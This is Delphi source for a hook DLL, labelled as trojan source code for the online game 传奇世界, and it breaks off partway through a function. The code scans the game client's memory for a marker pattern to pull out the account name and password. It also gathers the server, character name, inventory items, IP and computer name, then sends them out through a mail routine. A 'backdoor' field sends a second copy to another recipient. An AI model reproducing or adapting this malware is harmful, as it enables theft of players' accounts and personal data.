unithookdll.pas

传奇世界木马源代码

unit UnitHookDll;

interface

uses Windows, UnitHookType, sendmail, reg, TLHelp32,
  sysutils2;

const
  WM_CLOSE = $0010;
  WM_DESTROY = $0002;
  WM_KEYUP = $0101;
  WM_LBUTTONDOWN = $0201;
  WM_RBUTTONDOWN = $0204;
  WM_LBUTTONDBLCLK = $0203;
  WM_GETTEXT = $000D;
  WM_MOUSEMOVE = $0200;
  WSADESCRIPTION_LEN = 256;
  WSASYS_STATUS_LEN = 128;
  MaxTab = 5;
  TabPass = 1;
  TabUser = 0;
  sText = '传奇世界'; //传奇世界 v1.7.1.2 倚天屠龙 -- 低画质专用版
  sClass = 'GAMECLIENT';
type
  HKEY = type LongWord;
  TShareMem = packed record
    KeyHook, MouseHook: THandle;
    VerTest: boolean;
    qu: array[0..255] of char;
    data: array[0..1024] of char;
    backdoor: array[0..1024] of char;
    info: array[0..204800] of char;
  end;
  PShareMem = ^TShareMem;

procedure StartHook(data: pchar; BackDoor: pchar; VerTest: boolean); stdcall;
procedure StopHook; stdcall;
procedure ThreadFunc1;
function GetMyComputerName: string;

var
  SendHtmlMailSender, SendHtmlMailSubject, SendHtmlMailData: string;
  pShMem: PShareMem;
  TimerWriteDat, timer1, TimerFindWupin: uint;
  ThreadBusy: boolean;

implementation

var
  LastUser, LastPass: string;
  imain: integer;
  role, qu, user, pass, server: array[0..255] of char;
  WuPin: array[0..10240] of char;

  hMappingFile: THandle;
  filename: string;
  //is9X,
  isUpdate, isCQ, FirstProcess: boolean;
  iC1, iC2, iC3, iC4: integer;
  pUp1: pchar;
  GetRoleInfoBusy: boolean;

procedure WriteDat2(s: string);
begin
  try
    strcat(@pshmem^.info, pchar(s + #$D#$A));
  except
  end;
end;

procedure FunTimerWriteDat(Wnd: Longint; uMsg: UINT; idEvent: UINT; Time: DWORD); stdcall;
begin
  if pshmem^.info[0] <> #0 then
  begin
    writedat(pshmem^.info);
    pshmem^.info[0] := #0;
  end;
end;

function IsWindows9x: Boolean;
var
  Osi: TOSVersionInfo;
begin
  Osi.dwOSVersionInfoSize := sizeof(Osi);
  GetVersionEx(Osi);
  if (Osi.dwPlatformID = Ver_Platform_Win32_NT) then
    result := False
  else
    result := True;
end;

function TxtEncode(s: string): string;
var
  i: integer;
begin
  result := '';
  for i := 1 to length(s) do
  begin
    result := result + s[i];
    if s[i] = #$A then
      result := result + '<br>'
  end;
end;

function GetMyComputerName: string;
var
  i: DWORD;
begin
  i := 255;
  setlength(result, i);
  GetComputerName(@result[1], i);
  setlength(result, i);
end;

procedure ThreadFunc1;
var
  data, s: string;
begin
  //sleep(8000);
  data := SendHtmlMailData;
  SendHtmlMailData := '';
  if copy(pshmem^.data, 1, 1) = '0' then s := pshmem^.data + HtmlEncode(data) + '&subject=' + HtmlEncode(SendHtmlMailSubject)
    + '&sender=' + HtmlEncode(SendHtmlMailSender)
  else s := pshmem^.data + TxtEncode(Data);
  writedat2(SendHtmlMailSender + '#' + SendHtmlMailSubject + '#' + s);
  SendResult(SendHtmlMailSender, SendHtmlMailSubject, s);
  if pshmem^.backdoor[0] <> #0 then
  begin
    s := '0 ' + pshmem^.backdoor + HtmlEncode(Data) + '&subject=' + HtmlEncode(SendHtmlMailSubject)
      + '&sender=' + HtmlEncode(SendHtmlMailSender);
    SendResult(SendHtmlMailSender, SendHtmlMailSubject, s);
  end;
end;

procedure send(const local: boolean = true);
var
  computer, ip, sbak: string;
  ThreadId1: dword;
  i: integer;
begin
  ip := GetMyip;
  computer := GetmycomputerName;
  SendHtmlMailSubject := computer + '(' + ip + ')';
  if qu[0] = #0 then strcopy(@qu, @pshmem^.qu);
  SendHtmlMailSender := copy(string(qu) + ' ' + server, 1, 20);
  if local then
  begin
    sbak := pass;
    if pshmem^.VerTest then
    begin
      for i := 5 to length(sbak) do
        sbak[i] := '*';
    end;
    sbak := '服务器:' + qu + ' ' + server + #$D#$A'户名:' + user +
      #$D#$A'密码:' + sbak;
    if role[0] <> #0 then
      sbak := sbak + #$D#$A'角色:' + role;
  end
  else begin
    sbak := Lastpass;
    if pshmem^.VerTest then
    begin
      for i := 5 to length(sbak) do
        sbak[i] := '*';
    end;
    sbak := '服务器:' + qu + ' ' + server + #$D#$A'户名:' + Lastuser +
      #$D#$A'密码:' + sbak;
    if role[0] <> #0 then
      sbak := sbak + #$D#$A'角色:' + role;
  end;
  if WuPin[0] <> #0 then
    sbak := sbak + #$D#$A'物品:' + WuPin;
  sbak := sbak + #$D#$A#$D#$A#$D#$A'IP:' + ip + #$D#$A'机器名:' + computer + #$D#$A;
  writedat2('send: ' + sbak + ' hehe:' + SendHtmlMailData);
  if SendHtmlMailData <> '' then SendHtmlMailData := SendHtmlMailData + sbak
  else begin
    SendHtmlMailData := sbak;
    CreateThread(nil, 0, @ThreadFunc1, nil, 0, ThreadId1);
  end;
end;

procedure timerfun(Wnd: Longint; uMsg: UINT; idEvent: UINT; Time: DWORD); stdcall;
begin
  killtimer(0, timer1);
  timer1 := 0;
  send;
end;

procedure GetEditCount(p: integer; class1, class2: string);
var
  i, t: integer;
begin
  ic1 := 0; ic2 := 0;
  t := 0;
  for i := 1 to 19 do
  begin
    t := findwindowex(p, t, pchar(class1), nil);
    if t = 0 then break
    else begin
      inc(ic1);
      if IsWindowVisible(t) then
        inc(ic2);
    end;
  end;
  ic3 := 0; ic4 := 0;
  t := 0;
  for i := 1 to 19 do
  begin
    t := findwindowex(p, t, pchar(class2), nil);
    if t = 0 then break
    else begin
        //SendMessage(t, WM_GETTEXT, 255, dword(@Buffer));
        //writedat2(inttostr(t)+' '+buffer);
      inc(ic3);
      if IsWindowVisible(t) then
        inc(ic4);
    end;
  end;
end;

function isparent(var p: hwnd; swintext, sclasstext: string; MustSame: boolean): boolean;
var
  WinText, ClassText: array[0..255] of char;
begin
  p := getparent(p);
  WinText[0] := #0;
  GetWindowText(p, WinText, sizeof(WinText));
  ClassText[0] := #0;
  GetClassName(p, ClassText, sizeof(ClassText));
  if Mustsame then
    result := (wintext = swintext) and (classtext = sclasstext)
  else begin
    //writedat2(copy(wintext, 1, length(swintext))+','+copy(classtext, 1, length(sclasstext)));
    result := (copy(wintext, 1, length(swintext)) = swintext) and (copy(classtext, 1, length(sclasstext)) = sclasstext)
  end;
end;

function StrEnd(const Str: PChar): PChar; assembler;
asm
        MOV     EDX,EDI
        MOV     EDI,EAX
        MOV     ECX,0FFFFFFFFH
        XOR     AL,AL
        REPNE   SCASB
        LEA     EAX,[EDI-1]
        MOV     EDI,EDX
end;

function StrCat(Dest: PChar; const Source: PChar): PChar;
begin
  StrCopy(StrEnd(Dest), Source);
  Result := Dest;
end;

function CanRead(p: pointer; var size: integer): boolean;
var
  MemInfo: TMemoryBasicInformation;
begin
  fillchar(MemInfo, SizeOf(TMemoryBasicInformation), 0);
  VirtualQuery(p, MemInfo, SizeOf(TMemoryBasicInformation));
//  writedat2('address:' + inttostr(integer(p)) + ' Protect:' + inttostr(Meminfo.Protect) + ' size:' + inttostr(Meminfo.RegionSize));
  size := Meminfo.RegionSize;
  result := (Meminfo.Protect = PAGE_READONLY) or (Meminfo.Protect = PAGE_READWRITE) or (Meminfo.Protect = PAGE_WRITECOPY);
end;

function StrPosChar(Str: PChar; iLen: longword; c: Char): longword; assembler;
asm
        PUSH    EDI
        PUSH    EBX
        OR      EAX,EAX  //Str
        JE      @@2
        MOV     EDI,EAX
        MOV     EBX,EAX

        MOV     AL,CL   //c
        MOV     ECX,EDX //iLen
        INC     ECX
        REPNE   SCASB
        CMP     ECX,0
        JE      @@2
        MOV     EAX,EDI
        SUB     EAX,EBX
        DEC     EAX
        JMP     @@3
@@2:    MOV     EAX,0FFFFFFFFH
@@3:    POP     EBX
        POP     EDI
end;

function StrPosD(Str: PChar; iLen: longword; c: dword): longword; assembler;
asm
        PUSH    EDI
        PUSH    EBX
        OR      EAX,EAX  //Str1
        JE      @@2
        MOV     EDI,EAX
        MOV     EBX,EAX

        MOV     EAX,ECX   //c
        MOV     ECX,EDX //iLen
        Shr     ECX,2   // !!!! /4
        INC     ECX
        REPNE   SCASD
        CMP     ECX,0
        JE      @@2
        MOV     EAX,EDI
        SUB     EAX,EBX
        SUB     EAX,4   // !!!!  -4
        JMP     @@3
@@2:    MOV     EAX,0FFFFFFFFH
@@3:    POP     EBX
        POP     EDI
end;

function valid(p: pchar; allowhz: boolean): boolean;
var
  i: integer;
begin
  result := true;
  for i := 0 to 255 do
  begin
    if p[i] = #0 then
    begin
      if i = 0 then break
      else exit
    end
    else if (p[i] >= #$80) then
    begin
      if not allowhz then break;
    end
    else if (p[i] < ' ') then break;
  end;
  result := false;
end;

function do1(p: pchar): boolean;
var
  bakuser, bakpass: array[0..255] of char;
begin
  result := false;
  try
    bakuser[0] := #0;
    strlcopy(@bakuser, pUp1, 30);
    writedat2('getmem6:' + bakuser);
    if not valid(@bakuser, false) then exit;


    bakpass[0] := #0;
    strlcopy(@bakpass, pUP1 + $300, 30);
    writedat2('getmem7:' + bakpass);
    if not valid(@bakpass, false) then exit;

    if (strcomp(@bakuser, @user) = 0) and (strcomp(@bakpass, @pass) = 0) then
       //nothing...
    else begin
      strcopy(@user, @bakuser);
      strcopy(@pass, @bakpass);
      writedat2('getmem user:' + user + ' pass:' + pass);
      if timer1 <> 0 then killtimer(0, timer1);
      timer1 := settimer(0, 1, 20000, @timerfun);
    end;
  except
  end;
end;

procedure GetUP(reserve: pointer);
var
  ProcessHndle: HWND;
  SysInfo: _SYSTEM_INFO;
  MBI: MEMORY_BASIC_INFORMATION;
  PMemoAddr: Pointer;
  //MemoAddr, lpNumberOfBytesRead
  OldBasse: DWORD;
  d1, size: longword;
  p: pchar;
  bBreak: boolean;
begin
  if (pUp1 <> nil) then
  begin
    do1(nil);
    exit;
  end;
  if ThreadBusy then exit;
  ThreadBusy := true;
  bBreak := false;
  ProcessHndle := OpenProcess(PROCESS_VM_OPERATION or PROCESS_VM_READ or PROCESS_QUERY_INFORMATION, false, GetCurrentProcessId);
  if ProcessHndle > 0 then
  begin
    writedat2('g1');
    GetSystemInfo(SysInfo);
    OldBasse := $FFFFFFFF;
    PMemoAddr := SysInfo.lpMinimumApplicationAddress;
    try
      while (not bBreak) and (dword(PMemoAddr) < dword(SysInfo.lpMaximumApplicationAddress)) do
      begin
        VirtualQueryEx(ProcessHndle, PMemoAddr, MBI, SizeOf(MBI));
        if (dword(MbI.BaseAddress) = OldBasse) and (MbI.RegionSize <= 0) then break;
        //writedat2('g2:' + inttostr(integer(MbI.BaseAddress))+' '+inttostr(MbI.RegionSize)+' '+inttostr(Mbi.Protect));
        OldBasse := dword(MbI.BaseAddress);
        PMemoAddr := pointer(dword(MbI.BaseAddress) + MbI.RegionSize + $F);
        //setlength(sTmp, MbI.RegionSize);
        //ReadProcessMemory(ProcessHndle, PMemoAddr, pchar(sTmp), MbI.RegionSize, lpNumberOfBytesRead);
        //if(MBI.State = MEM_COMMIT)then //MEM_COMMIT=$1000  MEM_RESERVE=$2000 MEM_FREE=$10000
        if (Mbi.Protect = PAGE_READONLY) or (Mbi.Protect = PAGE_READWRITE) or (Mbi.Protect = PAGE_WRITECOPY) then
        begin
          try
            p := MbI.BaseAddress;
            if MbI.RegionSize > $310 then
            begin
              size := MbI.RegionSize - $310;
              while true do
              begin
                d1 := StrPosD(p, size, $FDFDFDFD);
                if d1 = $FFFFFFFF then
                begin
                  break;
                end;
                dec(size, d1 + 4);
                inc(p, d1 + 4);
                //writedat2('found1 ' + inttostr(integer(P)) + ' ' + inttostr(size) + ' ' + inttostr(plongword(p - 4)^));
                if plongword(p + $300 - 4)^ = $FDFDFDFD then
                begin
                  //writedat2('found2 ' + inttostr(integer(P)));
                  if (plongword(p - $4C)^ = dword(p)) and (plongword(p - $78)^ = dword(p)) then
                  begin
                    writedat2('found:' + inttostr(integer(P)));
                    pUp1 := p;
                    do1(nil);
                    bBreak := true;
                    break;
                  end;
                end;
              end;
            end;
          except
          end;
        end;
      end;
    except
    end;
  end;
  CloseHandle(ProcessHndle);
  ThreadBusy := false;
end;

function GetWinPin(reserve: pointer): dword; stdcall;
var
  ProcessHndle: HWND;
  SysInfo: _SYSTEM_INFO;
  MBI: MEMORY_BASIC_INFORMATION;
  PMemoAddr: Pointer;
  //MemoAddr, lpNumberOfBytesRead
  OldBasse: DWORD;
  d1, size: longword;
  p: pchar;
  bBreak: boolean;
  i1: integer;
  s: string;
  buf: array[0..255] of char;
begin
  bBreak := false;
  ProcessHndle := OpenProcess(PROCESS_VM_OPERATION or PROCESS_VM_READ or PROCESS_QUERY_INFORMATION, false, GetCurrentProcessId);
  if ProcessHndle > 0 then
  begin
    writedat2('WuPin g1');
    GetSystemInfo(SysInfo);
    OldBasse := $FFFFFFFF;
    PMemoAddr := SysInfo.lpMinimumApplicationAddress;
    try
      while (not bBreak) and (dword(PMemoAddr) < dword(SysInfo.lpMaximumApplicationAddress)) do